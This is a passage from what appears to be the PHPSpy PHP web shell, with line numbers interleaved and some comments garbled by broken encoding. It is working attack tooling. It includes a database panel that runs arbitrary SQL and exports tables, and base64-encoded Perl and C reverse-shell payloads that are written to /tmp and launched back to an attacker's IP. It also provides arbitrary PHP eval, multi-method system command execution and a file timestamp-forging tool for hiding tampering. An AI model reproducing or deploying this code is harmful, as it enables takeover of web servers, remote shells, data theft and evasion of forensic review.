	makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));
756
	p(':');
757
	makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));
758
	p('DBUser:');
759
	makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));
760
	p('DBPass:');
761
	makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));
762
	p('DBCharset:');
763
	makeselect(array('name'=>'charset','option'=>$charsets,'selected'=>$charset));
764
	makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));
765
	p('</p>');
766
	formfoot();
767
?>
768
<script type="text/javascript">
769
function editrecord(action, base64, tablename){
770
	if (action == 'del') {		
771
		if (!confirm('Is or isn\'t deletion record?')) return;
772
	}
773
	$('recordlist').doing.value=action;
774
	$('recordlist').base64.value=base64;
775
	$('recordlist').tablename.value=tablename;
776
	$('recordlist').submit();
777
}
778
function moddbname(dbname) {
779
	if(!dbname) return;
780
	$('setdbname').dbname.value=dbname;
781
	$('setdbname').submit();
782
}
783
function settable(tablename,doing,page) {
784
	if(!tablename) return;
785
	if (doing) {
786
		$('settable').doing.value=doing;
787
	}
788
	if (page) {
789
		$('settable').page.value=page;
790
	}
791
	$('settable').tablename.value=tablename;
792
	$('settable').submit();
793
}
794
</script>
795
<?php
796
	//??????¼
797
	formhead(array('name'=>'recordlist'));
798
	makehide('doing');
799
	makehide('action','sqladmin');
800
	makehide('base64');
801
	makehide('tablename');
802
	p($dbform);
803
	formfoot();
804

    
805
	//ѡ?????ݿ?
806
	formhead(array('name'=>'setdbname'));
807
	makehide('action','sqladmin');
808
	p($dbform);
809
	if (!$dbname) {
810
		makehide('dbname');
811
	}
812
	formfoot();
813

    
814
	//ѡ????
815
	formhead(array('name'=>'settable'));
816
	makehide('action','sqladmin');
817
	p($dbform);
818
	makehide('tablename');
819
	makehide('page',$page);
820
	makehide('doing');
821
	formfoot();
822

    
823
	$cachetables = array();	
824
	$pagenum = 30;
825
	$page = intval($page);
826
	if($page) {
827
		$start_limit = ($page - 1) * $pagenum;
828
	} else {
829
		$start_limit = 0;
830
		$page = 1;
831
	}
832
	if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
833
		dbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
834
		//??ȡ???ݿ???Ϣ
835
		$mysqlver = mysql_get_server_info();
836
		p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
837
		$highver = $mysqlver > '4.1' ? 1 : 0;
838

    
839
		//??ȡ???ݿ?
840
		$query = q("SHOW DATABASES");
841
		$dbs = array();
842
		$dbs[] = '-- Select a database --';
843
		while($db = mysql_fetch_array($query)) {
844
			$dbs[$db['Database']] = $db['Database'];
845
		}
846
		makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
847
		$tabledb = array();
848
		if ($dbname) {
849
			p('<p>');
850
			p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
851
			if ($tablename) {
852
				p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
853
			}
854
			p('</p>');
855
			mysql_select_db($dbname);
856

    
857
			$getnumsql = '';
858
			$runquery = 0;
859
			if ($sql_query) {
860
				$runquery = 1;
861
			}
862
			$allowedit = 0;
863
			if ($tablename && !$sql_query) {
864
				$sql_query = "SELECT * FROM $tablename";
865
				$getnumsql = $sql_query;
866
				$sql_query = $sql_query." LIMIT $start_limit, $pagenum";
867
				$allowedit = 1;
868
			}
869
			p('<form action="'.$self.'" method="POST">');
870
			p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
871
			makehide('tablename', $tablename);
872
			makehide('action','sqladmin');
873
			p($dbform);
874
			p('</form>');
875
			if ($tablename || ($runquery && $sql_query)) {
876
				if ($doing == 'structure') {
877
					$result = q("SHOW COLUMNS FROM $tablename");
878
					$rowdb = array();
879
					while($row = mysql_fetch_array($result)) {
880
						$rowdb[] = $row;
881
					}
882
					p('<table border="0" cellpadding="3" cellspacing="0">');
883
					p('<tr class="head">');
884
					p('<td>Field</td>');
885
					p('<td>Type</td>');
886
					p('<td>Null</td>');
887
					p('<td>Key</td>');
888
					p('<td>Default</td>');
889
					p('<td>Extra</td>');
890
					p('</tr>');
891
					foreach ($rowdb as $row) {
892
						$thisbg = bg();
893
						p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
894
						p('<td>'.$row['Field'].'</td>');
895
						p('<td>'.$row['Type'].'</td>');
896
						p('<td>'.$row['Null'].'&nbsp;</td>');
897
						p('<td>'.$row['Key'].'&nbsp;</td>');
898
						p('<td>'.$row['Default'].'&nbsp;</td>');
899
						p('<td>'.$row['Extra'].'&nbsp;</td>');
900
						p('</tr>');
901
					}
902
					tbfoot();
903
				} elseif ($doing == 'insert' || $doing == 'edit') {
904
					$result = q('SHOW COLUMNS FROM '.$tablename);
905
					while ($row = mysql_fetch_array($result)) {
906
						$rowdb[] = $row;
907
					}
908
					$rs = array();
909
					if ($doing == 'insert') {
910
						p('<h2>Insert new line in '.$tablename.' table &raquo;</h2>');
911
					} else {
912
						p('<h2>Update record in '.$tablename.' table &raquo;</h2>');
913
						$where = base64_decode($base64);
914
						$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
915
						$rs = mysql_fetch_array($result);
916
					}
917
					p('<form method="post" action="'.$self.'">');
918
					p($dbform);
919
					makehide('action','sqladmin');
920
					makehide('tablename',$tablename);
921
					p('<table border="0" cellpadding="3" cellspacing="0">');
922
					foreach ($rowdb as $row) {
923
						if ($rs[$row['Field']]) {
924
							$value = htmlspecialchars($rs[$row['Field']]);
925
						} else {
926
							$value = '';
927
						}
928
						$thisbg = bg();
929
						p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
930
						p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
931
					}
932
					if ($doing == 'insert') {
933
						p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
934
					} else {
935
						p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
936
						makehide('base64', $base64);
937
					}
938
					p('</table></form>');
939
				} else {
940
					$querys = @explode(';',$sql_query);
941
					foreach($querys as $num=>$query) {
942
						if ($query) {
943
							p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
944
							switch(qy($query))
945
							{
946
								case 0:
947
									p('<h2>Error : '.mysql_error().'</h2>');
948
									break;	
949
								case 1:
950
									if (strtolower(substr($query,0,13)) == 'select * from') {
951
										$allowedit = 1;
952
									}
953
									if ($getnumsql) {
954
										$tatol = mysql_num_rows(q($getnumsql));
955
										$multipage = multi($tatol, $pagenum, $page, $tablename);
956
									}
957
									if (!$tablename) {
958
										$sql_line = str_replace(array("\r", "\n", "\t"), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
959
										$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
960
										preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
961
										$tablename = $matches[1][0];
962
									}
963
									$result = q($query);
964
									p($multipage);
965
									p('<table border="0" cellpadding="3" cellspacing="0">');
966
									p('<tr class="head">');
967
									if ($allowedit) p('<td>Action</td>');
968
									$fieldnum = @mysql_num_fields($result);
969
									for($i=0;$i<$fieldnum;$i++){
970
										$name = @mysql_field_name($result, $i);
971
										$type = @mysql_field_type($result, $i);
972
										$len = @mysql_field_len($result, $i);
973
										p("<td nowrap>$name<br><span>$type($len)</span></td>");
974
									}
975
									p('</tr>');
976
									while($mn = @mysql_fetch_assoc($result)){
977
										$thisbg = bg();
978
										p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
979
										$where = $tmp = $b1 = '';
980
										foreach($mn as $key=>$inside){
981
											if ($inside) {
982
												$where .= $tmp.$key."='".addslashes($inside)."'";
983
												$tmp = ' AND ';
984
											}
985
											$b1 .= '<td nowrap>'.html_clean($inside).'&nbsp;</td>';
986
										}
987
										$where = base64_encode($where);
988
										if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
989
										p($b1);
990
										p('</tr>');
991
										unset($b1);
992
									}
993
									tbfoot();
994
									p($multipage);
995
									break;	
996
								case 2:
997
									$ar = mysql_affected_rows();
998
									p('<h2>affected rows : <b>'.$ar.'</b></h2>');
999
									break;
1000
							}
1001
						}
1002
					}
1003
				}
1004
			} else {
1005
				$query = q("SHOW TABLE STATUS");
1006
				$table_num = $table_rows = $data_size = 0;
1007
				$tabledb = array();
1008
				while($table = mysql_fetch_array($query)) {
1009
					$data_size = $data_size + $table['Data_length'];
1010
					$table_rows = $table_rows + $table['Rows'];
1011
					$table['Data_length'] = sizecount($table['Data_length']);
1012
					$table_num++;
1013
					$tabledb[] = $table;
1014
				}
1015
				$data_size = sizecount($data_size);
1016
				unset($table);
1017
				p('<table border="0" cellpadding="0" cellspacing="0">');
1018
				p('<form action="'.$self.'" method="POST">');
1019
				makehide('action','sqladmin');
1020
				p($dbform);
1021
				p('<tr class="head">');
1022
				p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
1023
				p('<td>Name</td>');
1024
				p('<td>Rows</td>');
1025
				p('<td>Data_length</td>');
1026
				p('<td>Create_time</td>');
1027
				p('<td>Update_time</td>');
1028
				if ($highver) {
1029
					p('<td>Engine</td>');
1030
					p('<td>Collation</td>');
1031
				}
1032
				p('</tr>');
1033
				foreach ($tabledb as $key => $table) {
1034
					$thisbg = bg();
1035
					p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
1036
					p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
1037
					p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a> [ <a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a> ]</td>');
1038
					p('<td>'.$table['Rows'].'</td>');
1039
					p('<td>'.$table['Data_length'].'</td>');
1040
					p('<td>'.$table['Create_time'].'</td>');
1041
					p('<td>'.$table['Update_time'].'</td>');
1042
					if ($highver) {
1043
						p('<td>'.$table['Engine'].'</td>');
1044
						p('<td>'.$table['Collation'].'</td>');
1045
					}
1046
					p('</tr>');
1047
				}
1048
				p('<tr class='.bg().'>');
1049
				p('<td>&nbsp;</td>');
1050
				p('<td>Total tables: '.$table_num.'</td>');
1051
				p('<td>'.$table_rows.'</td>');
1052
				p('<td>'.$data_size.'</td>');
1053
				p('<td colspan="'.($highver ? 4 : 2).'">&nbsp;</td>');
1054
				p('</tr>');
1055

    
1056
				p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 8 : 6)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$_SERVER['HTTP_HOST']."_MySQL.sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" name=\"downrar\" value=\"Export selection table\" /></td></tr>");
1057
				makehide('doing','backupmysql');
1058
				formfoot();
1059
				p("</table>");
1060
				fr($query);
1061
			}
1062
		}
1063
	}
1064
	tbfoot();
1065
	@mysql_close();
1066
}//end sql backup
1067

    
1068

    
1069
elseif ($action == 'backconnect') {
1070
	!$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
1071
	!$yourport && $yourport = '12345';
1072
	$usedb = array('perl'=>'perl','c'=>'c');
1073

    
1074
	$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
1075
		"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
1076
		"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
1077
		"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
1078
		"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
1079
		"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
1080
		"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
1081
	$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
1082
		"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
1083
		"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
1084
		"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
1085
		"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
1086
		"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
1087
		"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
1088
		"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
1089

    
1090
	if ($start && $yourip && $yourport && $use){
1091
		if ($use == 'perl') {
1092
			cf('/tmp/angel_bc',$back_connect);
1093
			$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
1094
		} else {
1095
			cf('/tmp/angel_bc.c',$back_connect_c);
1096
			$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
1097
			@unlink('/tmp/angel_bc.c');
1098
			$res = execute("/tmp/angel_bc $yourip $yourport &");
1099
		}
1100
		m("Now script try connect to $yourip port $yourport ...");
1101
	}
1102

    
1103
	formhead(array('title'=>'Back Connect'));
1104
	makehide('action','backconnect');
1105
	p('<p>');
1106
	p('Your IP:');
1107
	makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
1108
	p('Your Port:');
1109
	makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
1110
	p('Use:');
1111
	makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
1112
	makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
1113
	p('</p>');
1114
	formfoot();
1115
}//end sql backup
1116

    
1117
elseif ($action == 'eval') {
1118
	$phpcode = trim($phpcode);
1119
	if($phpcode){
1120
		if (!preg_match('#<\?#si', $phpcode)) {
1121
			$phpcode = "<?php\n\n{$phpcode}\n\n?>";
1122
		}
1123
		eval("?".">$phpcode<?");
1124
	}
1125
	formhead(array('title'=>'Eval PHP Code'));
1126
	makehide('action','eval');
1127
	maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
1128
	p('<p><a href="http://www.4ngel.net/phpspy/plugin/" target="_blank">Get plugins</a></p>');
1129
	formfooter();
1130
}//end eval
1131

    
1132
elseif ($action == 'editfile') {
1133
	if(file_exists($opfile)) {
1134
		$fp=@fopen($opfile,'r');
1135
		$contents=@fread($fp, filesize($opfile));
1136
		@fclose($fp);
1137
		$contents=htmlspecialchars($contents);
1138
	}
1139
	formhead(array('title'=>'Create / Edit File'));
1140
	makehide('action','file');
1141
	makehide('dir',$nowpath);
1142
	makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
1143
	maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
1144
	formfooter();
1145
}//end editfile
1146

    
1147
elseif ($action == 'newtime') {
1148
	$opfilemtime = @filemtime($opfile);
1149
	//$time = strtotime("$year-$month-$day $hour:$minute:$second");
1150
	$cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
1151
	formhead(array('title'=>'Clone file was last modified time'));
1152
	makehide('action','file');
1153
	makehide('dir',$nowpath);
1154
	makeinput(array('title'=>'Alter file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1155
	makeinput(array('title'=>'Reference file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
1156
	formfooter();
1157
	formhead(array('title'=>'Set last modified'));
1158
	makehide('action','file');
1159
	makehide('dir',$nowpath);
1160
	makeinput(array('title'=>'Current file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
1161
	p('<p>Instead &raquo;');
1162
	p('year:');
1163
	makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
1164
	p('month:');
1165
	makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
1166
	p('day:');
1167
	makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
1168
	p('hour:');
1169
	makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
1170
	p('minute:');
1171
	makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
1172
	p('second:');
1173
	makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
1174
	p('</p>');
1175
	formfooter();
1176
}//end newtime
1177

    
1178
elseif ($action == 'shell') {
1179
	if (IS_WIN && IS_COM) {
1180
		if($program && $parameter) {
1181
			$shell= new COM('Shell.Application');
1182
			$a = $shell->ShellExecute($program,$parameter);
1183
			m('Program run has '.(!$a ? 'success' : 'fail'));
1184
		}
1185
		!$program && $program = 'c:\windows\system32\cmd.exe';
1186
		!$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
1187
		formhead(array('title'=>'Execute Program'));
1188
		makehide('action','shell');
1189
		makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
1190
		p('<p>');
1191
		makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
1192
		makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1193
		p('</p>');
1194
		formfoot();
1195
	}
1196
	formhead(array('title'=>'Execute Command'));
1197
	makehide('action','shell');
1198
	if (IS_WIN && IS_COM) {
1199
		$execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
1200
		makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
1201
	}
1202
	p('<p>');
1203
	makeinput(array('title'=>'Command','name'=>'command','value'=>$command));
1204
	makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
1205
	p('</p>');
1206
	formfoot();
1207

    
1208
	if ($command) {
1209
		p('<hr width="100%" noshade /><pre>');
1210
		if ($execfunc=='wscript' && IS_WIN && IS_COM) {
1211
			$wsh = new COM('WScript.shell');
1212
			$exec = $wsh->exec('cmd.exe /c '.$command);
1213
			$stdout = $exec->StdOut();
1214
			$stroutput = $stdout->ReadAll();
1215
			echo $stroutput;
1216
		} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
1217
			$descriptorspec = array(
1218
			   0 => array('pipe', 'r'),
1219
			   1 => array('pipe', 'w'),
1220
			   2 => array('pipe', 'w')
1221
			);
1222
			$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
1223
			if (is_resource($process)) {
1224
				fwrite($pipes[0], $command."\r\n");
1225
				fwrite($pipes[0], "exit\r\n");
1226
				fclose($pipes[0]);
1227
				while (!feof($pipes[1])) {
1228
					echo fgets($pipes[1], 1024);
1229
				}
1230
				fclose($pipes[1]);
1231
				while (!feof($pipes[2])) {
1232
					echo fgets($pipes[2], 1024);
1233
				}
1234
				fclose($pipes[2]);
1235
				proc_close($process);
1236
			}
1237
		} else {
1238
			echo(execute($command));
1239
		}
1240
		p('</pre>');
1241
	}
1242
}//end shell
1243

    
1244
elseif ($action == 'phpenv') {
1245
	$upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
1246
	$adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
1247
	!$dis_func && $dis_func = 'No';	
1248
	$info = array(
1249
		1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
1250
		2 => array('Server Domain',$_SERVER['SERVER_NAME']),
1251
		3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
1252
		4 => array('Server OS',PHP_OS),
1253
		5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
1254
		6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
1255
		7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
1256
		8 => array('PHP run mode',strtoupper(php_sapi_name())),
1257
		9 => array('The file path',__FILE__),
1258

    
1259
		10 => array('PHP Version',PHP_VERSION),
1260
		11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:goaction(\'phpinfo\');">Yes</a>' : 'No')),
1261
		12 => array('Safe Mode',getcfg('safe_mode')),
1262
		13 => array('Administrator',$adminmail),
1263
		14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
1264
		15 => array('enable_dl',getcfg('enable_dl')),
1265
		16 => array('display_errors',getcfg('display_errors')),
1266
		17 => array('register_globals',getcfg('register_globals')),
1267
		18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
1268
		19 => array('memory_limit',getcfg('memory_limit')),
1269
		20 => array('post_max_size',getcfg('post_max_size')),
1270
		21 => array('upload_max_filesize',$upsize),
1271
		22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
1272
		23 => array('disable_functions',$dis_func),
1273
	);
1274

    
1275
	if($phpvarname) {
1276
		m($phpvarname .' : '.getcfg($phpvarname));
1277
	}
1278

    
1279
	formhead(array('title'=>'Server environment'));
1280
	makehide('action','phpenv');
1281
	makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
1282
	formfooter();
1283

    
1284
	$hp = array(0=> 'Server', 1=> 'PHP');
1285
	for($a=0;$a<2;$a++) {
1286
		p('<h2>'.$hp[$a].' &raquo;</h2>');
1287
		p('<ul class="info">');
1288
		if ($a==0) {
1289
			for($i=1;$i<=9;$i++) {
1290
				p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1291
			}
1292
		} elseif ($a == 1) {
1293
			for($i=10;$i<=23;$i++) {
1294
				p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
1295
			}
1296
		}
1297
		p('</ul>');
1298
	}
1299
}//end phpenv
1300

    
1301
else {
1302
	m('Undefined Action');
1303
}
1304

    
1305
?>
1306
</td></tr></table>
1307
<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
1308
	<span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
1309
	Copyright (C) 2004-2008 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
1310
</div>
1311
</body>
1312
</html>
1313

    
1314
<?php
1315

    
1316
/*======================================================
1317
??????
1318
======================================================*/
1319

    
1320
function m($msg) {
1321
	echo '<div style="background:#f1f1f1;border:1px solid #ddd;padding:15px;font:14px;text-align:center;font-weight:bold;">';
1322
	echo $msg;
1323
	echo '</div>';
1324
}
1325
function scookie($key, $value, $life = 0, $prefix = 1) {
1326
	global $admin, $timestamp, $_SERVER;
1327
	$key = ($prefix ? $admin['cookiepre'] : '').$key;
1328
	$life = $life ? $life : $admin['cookielife'];
1329
	$useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
1330
	setcookie($key, $value, $timestamp+$life, $admin['cookiepath'], $admin['cookiedomain'], $useport);
1331
}	
1332
function multi($num, $perpage, $curpage, $tablename) {
1333
	$multipage = '';
1334
	if($num > $perpage) {
1335
		$page = 10;
1336
		$offset = 5;
1337
		$pages = @ceil($num / $perpage);
1338
		if($page > $pages) {
1339
			$from = 1;
1340
			$to = $pages;
1341
		} else {
1342
			$from = $curpage - $offset;
1343
			$to = $curpage + $page - $offset - 1;
1344
			if($from < 1) {
1345
				$to = $curpage + 1 - $from;
1346
				$from = 1;
1347
				if(($to - $from) < $page && ($to - $from) < $pages) {
1348
					$to = $page;
1349
				}
1350
			} elseif($to > $pages) {
1351
				$from = $curpage - $pages + $to;
1352
				$to = $pages;
1353
				if(($to - $from) < $page && ($to - $from) < $pages) {
1354
					$from = $pages - $page + 1;
1355
				}
1356
			}
1357
		}
1358
		$multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
1359
		for($i = $from; $i <= $to; $i++) {
1360
			$multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
1361
		}
1362
		$multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
1363
		$multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
1364
	}
1365
	return $multipage;
1366
}
1367
// ??½???
1368
function loginpage() {
1369
?>
1370
	<style type="text/css">
1371
	input {font:11px Verdana;BACKGROUND: #FFFFFF;height: 18px;border: 1px solid #666666;}
1372
	</style>
1373
	<form method="POST" action="">
1374
	<span style="font:11px Verdana;">Password: </span><input name="password" type="password" size="20">
1375
	<input type="hidden" name="doing" value="login">
1376
	<input type="submit" value="Login">
1377
	</form>
1378
<?php
1379
	exit;
1380
}//end loginpage()
1381

    
1382
function execute($cfe) {
1383
	$res = '';
1384
	if ($cfe) {
1385
		if(function_exists('exec')) {
1386
			@exec($cfe,$res);
1387
			$res = join("\n",$res);
1388
		} elseif(function_exists('shell_exec')) {
1389
			$res = @shell_exec($cfe);
1390
		} elseif(function_exists('system')) {
1391
			@ob_start();
1392
			@system($cfe);
1393
			$res = @ob_get_contents();
1394
			@ob_end_clean();
1395
		} elseif(function_exists('passthru')) {
1396
			@ob_start();
1397
			@passthru($cfe);
1398
			$res = @ob_get_contents();
1399
			@ob_end_clean();
1400
		} elseif(@is_resource($f = @popen($cfe,"r"))) {
1401
			$res = '';
1402
			while(!@feof($f)) {
1403
				$res .= @fread($f,1024); 
1404
			}
1405
			@pclose($f);
1406
		}
1407
	}
1408
	return $res;
1409
}
1410
function which($pr) {
1411
	$path = execute("which $pr");
1412
	return ($path ? $path : $pr); 
1413
}
1414

    
1415
function cf($fname,$text){
1416
	if($fp=@fopen($fname,'w')) {
1417
		@fputs($fp,@base64_decode($text));
1418
		@fclose($fp);
1419
	}
1420
}
1421

    
1422
// ҳ???????Ϣ
1423
function debuginfo() {
1424
	global $starttime;
1425
